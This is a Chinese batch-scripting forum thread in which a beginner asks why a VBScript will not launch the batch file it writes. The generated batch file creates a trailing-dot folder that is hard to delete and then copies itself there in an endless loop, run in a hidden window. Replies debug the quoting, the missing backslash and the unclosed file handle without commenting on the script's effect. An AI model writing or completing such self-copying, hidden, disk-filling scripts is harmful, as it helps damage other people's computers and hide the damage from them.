[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[问题求助] VBS,run不能打开,新手求解

Set fso = CreateObject("scripting.filesystemobject")
Set wh = fso.CreateTextFile("E:\123456.bat",2)
wh.WriteLine("@echo off")
wh.WriteLine("md C:\123..\")
wh.WriteLine(":W")
wh.writeline("Set a=%randown%")
wh.writeline("Call copy %0 C:\123..\%a%.bat")
wh.writeline("goto W")
Set ws = CreateObject("wscript.shell")
ws.run """E:123456.bat""",0

  1. ws.run ("E:\123456.bat",0)
复制代码

TOP

知道用引号,意识很好。但为什么不知道用\呢?前面都用了。。。
ws.run """E:\123456.bat""",0

TOP

哇没看到
加了\  
ws.run """E:\123456.bat""",0
显示另一个程序在访问此文件不能打开123456.bat

TOP


wh.Close

TOP

返回列表